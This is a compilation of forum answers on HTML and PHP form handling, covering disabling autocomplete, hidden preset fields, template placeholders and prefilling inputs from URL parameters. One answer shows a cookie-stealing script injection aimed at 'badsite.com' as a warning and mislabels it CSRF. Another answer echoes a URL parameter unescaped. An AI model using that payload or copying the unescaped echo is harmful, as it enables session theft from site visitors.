I need to remove autocomplete in all the textbox with in my page
so I have given <input name="txt_username" id="txt_username" type="text" value="" autocomplete="off" /></dd></dl>
But it's not working does anyone know this?
Autocomplete, unless you're doing something crazy with AJAX, is a client-side thing and you can't always control it like that.
Since autocomplete works by caching your previous entries for a specific input text name, many banks randomly generate the input text name at each form page load but keep track of what is generated either somewhere else in a hidden input element or on the server side.
So instead of
<input name="txt_username" id="txt_username" type="text" value="" autocomplete="off" />
It might be something like
<input type="text" name="f6Lx571p" id="txt_username"/>
<input type="hidden" name="username_key" value="f6Lx571p" />
And the server-side code adjusted accordingly. For example, PHP code might have looked like:
<?php
$user = $_POST['txt_username'];
...
but it would have to be changed to something like:
<?php
$user = $_POST[$_POST['username_key']];
...
Its a bit annoying, but it works.
Autocomplete cannot be turned off, it's something from the browser, but I think this must help:<input type="password" name="password" readonly onfocus="this.removeAttribute('readonly')">
You can also try placing that autocomplete attribute on the form element.
<form id="myForm" autocomplete="off">
...
</form>
This will probably invalidate your HTML so you might want to consider adding this attribute dynamically with JavaScript.
Autocomplete cannot be turned off, it's something from the browser. What I do if I want to turn off autocomplete is the following:
Start a session with a field name and random number:
session_start();
$_SESSION['strUsername'] = "username_" . mt_rand(0, 1000000);
Now use this variable as the field's name:
name="' . $_SESSION['strUsername'] . '" id="txt_username" type="text" value="" autocomplete="off" /></dd></dl>
To check the value of the field simply use
$username = $_POST[$_SESSION['strUsername']];
Now, the name will be random everytime, so the browser will not recognize the field and will not give the autocompletion.
Related
Kind of an odd question and kinda hard to explain so will try my best.
I am wondering if it is possible to take the following:
<label for="page_name">page name</label><br>
<input type="text" name="page_name" maxlength="50" size="30">
and Display none; in the CSS so that this field isn't visible to anyone filling our the form, so that its left blank. Well not blank I would like to have a preset value so that when the form is filled out, I get all their entered details and I get my preset field "page_name" that has text I have entered so that I can put for example "page 5" so that I can see which page the form has been filled out on.
Is it possible to do it in html? I have done in the past by making each page have its own form and this time around I feel like there must be an easier solution?
Thanks in advance!
Simple use type="hidden" value="your value"
<input type="text" type="hidden" value="your value" name="page_name" maxlength="50" size="30">
and submit this input field with other all fields
This is very possible, I used it to track IP adresses once.
You can simply set the value by hand:
<input type="text" name="page_name" value="Default input value" style="display:none;">
Make sure you set it to display:none; (this can be done from your stylesheet too).
Set the value="default value" wich is what otherwise would be entered by the user.
Example:
function showvalue(){
alert($('input').attr('value'));
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<input type="text" name="page_name" value="Default input value" style="display:none;">
<button onclick="showvalue()">Show value </button>
I dont know if this is even possible without javascript but i want an form input and when i send the form it should add some text on the value.
<form method="post" action="https://somesite.com">
<input name="snapname" style="width: 177px; margin-top: 340px;" type="text" placeholder="Your username">
<input type="Submit" name="send">
</form>
So right now the form sends the value that is typed from the user in the browser.
Is there an way for me to add text when i send the form that the user cant see? Do i need to do it in javascript? Or is it possible in HTML? HTML5?
For example lets say the user writes adam
The value of snapname is now adam
When they click submit it will submit it as adam
But what i want is to add text to the value.
So i want mytext+adam to be the value of snapname where mytext is a static value.
I do not want to use javascript if i dont need to. Is it a good idea to use some kind of redirect php script? And let the script add the text and then send the users to the correct webadress with right value?
Use javascript or simply:
$my_var = "My Text" . $_POST['snapname'];
And then use this variable in php.
If you are submitting to an external site your best bet will be to use javascript. You can remove the name from the visible input (so its data is not submitted), add a hidden field with the correct name, then populate the hidden fields value with javascript:
<form method="post" action="https://somesite.com">
<input onkeyup="appendvalue(this.value);" type="text" placeholder="Your username">
<input name="snapname" type="hidden" id="snapname">
<input type="Submit" name="send">
</form>
<script>
function appendvalue(userval){
var append = "somestring";
var hidden = document.getElementById("snapname");
hidden.value = userval+append;
}
</script>
PHP is going to be your best bet here, as Faiz said above create a simple variable and extend the $_POST['snapname'] to include what you need.
I have this:
echo '<input type="text" id="address" name="address" value="'.$address.'" />';
When you enter your adress (my+adress) in search form and hit button "Search" I want to search automatically add cityname and country in link, to link look like .../index.php?address=my+adress+citiname+county.
Thanks in advance!
So just use a method="get" in the post field and it will dump the fields to the URL?
<form action="" method="get">
<input type="text" name="myAddress">
<input type="text" name="city">
<input type="text" name="county">
<input type="submit" value="Go Search">
</form>
If you don't want to add in the fields, you will need to parse the myAddress field and use a meta redirect to populate the data you parsed from their address.
It would be much more straightforward to either:
add cityname and country in index.php, if those are known in _SESSION
or:
add a (possibly hidden) field in the form with cityname and address, even if you will receive two different values from your form and require merging them
To do exactly what you want, you need to modify the query just before it is submitted; it is easiest to do this, e.g., using jQuery.
This question has been asked multiple times before,
but I have a different situation from those I've read.
My Database multiple forms that are to be loaded upon user request. This is not the problem and I can handle this. Within these forms, there are fields that are filled dynamically from 2 queries.
One of my fields that is to be filled from the database looks like this:
<label class="itemLabel" for="name">Name : </label>
<input name="name" type="text" class="itemInput" value="<? echo $queryB[1]; ?>" readonly="readonly" />
as you can see, the value is set to be a PHP code echo $queryB[1] ... When I got the form from the DB and echoed it, the fields got the value <? echo $queryB[1]; ?> instead of the actual value.
I've tried to use eval($myForm) where my form is retrieved from the DB, but nothing appeared in the place where the form should appear. I would appreciate if someone can help me with this.
Your PHP instance has short_open_tag disabled.
Change it to:
<?php echo $queryB[1]; ?>
...and it should do what you expect.
There is nothing different in your situation and it is exactly the same as others.
and the answer is the same as well: do not mix the code and the data.
Do not store the code in the database.
Do not pass GO, do not collect $200
Implement some sort of placeholders or - even better - some form builder and create these forms on the fly, based on the data from database.
Why not to store only relevant data in the database, like
name
type
value
class
and some flags like disabled, readonly and such?
take a look at http://pear.php.net/package/HTML_QuickForm2/
Building on my comment and Col Shrapnel's answer, here is a simple placeholder example. You should really maintain the HTML in a flat file (as it effectively seems to be part of the view in your application), but for simplicity's sake let's say it still resides in the database. Store the following value:
<label class="itemLabel" for="name">Name : </label>
<input name="name" type="text" class="itemInput" value="{queryValue}" readonly="readonly" />
Now, when you load the value from the database, you can replace the placeholder from the text:
$html = str_replace('{queryValue}', $queryB[1], $htmlTemplate);
This is an incredibly simplified example, and masks a load of potential issues regarding placeholder names, formats etc., but it might get you started.
Alternatively, if you decide to opt for the file route, you could have two files:
view.phtml:
<label class="itemLabel" for="name">Name : </label>
<input name="name" type="text" class="itemInput" value="<?php echo $this->value; ?>" readonly="readonly" />
In your current PHP script:
class View {
public function render($file) {
// check for file existence etc.
require_once $file;
}
}
$view = new View();
$view->value = $queryB[1];
$view->render('view.phtml');
I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.com?name=john
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
Well, using php, something like
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
I'm not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).
The PHP way:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?
After you include the function proposed in the answer, you can do the following:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');
You use the PHP $_GET['name'] value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.
If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
Then use the $('input').val() function to set the value.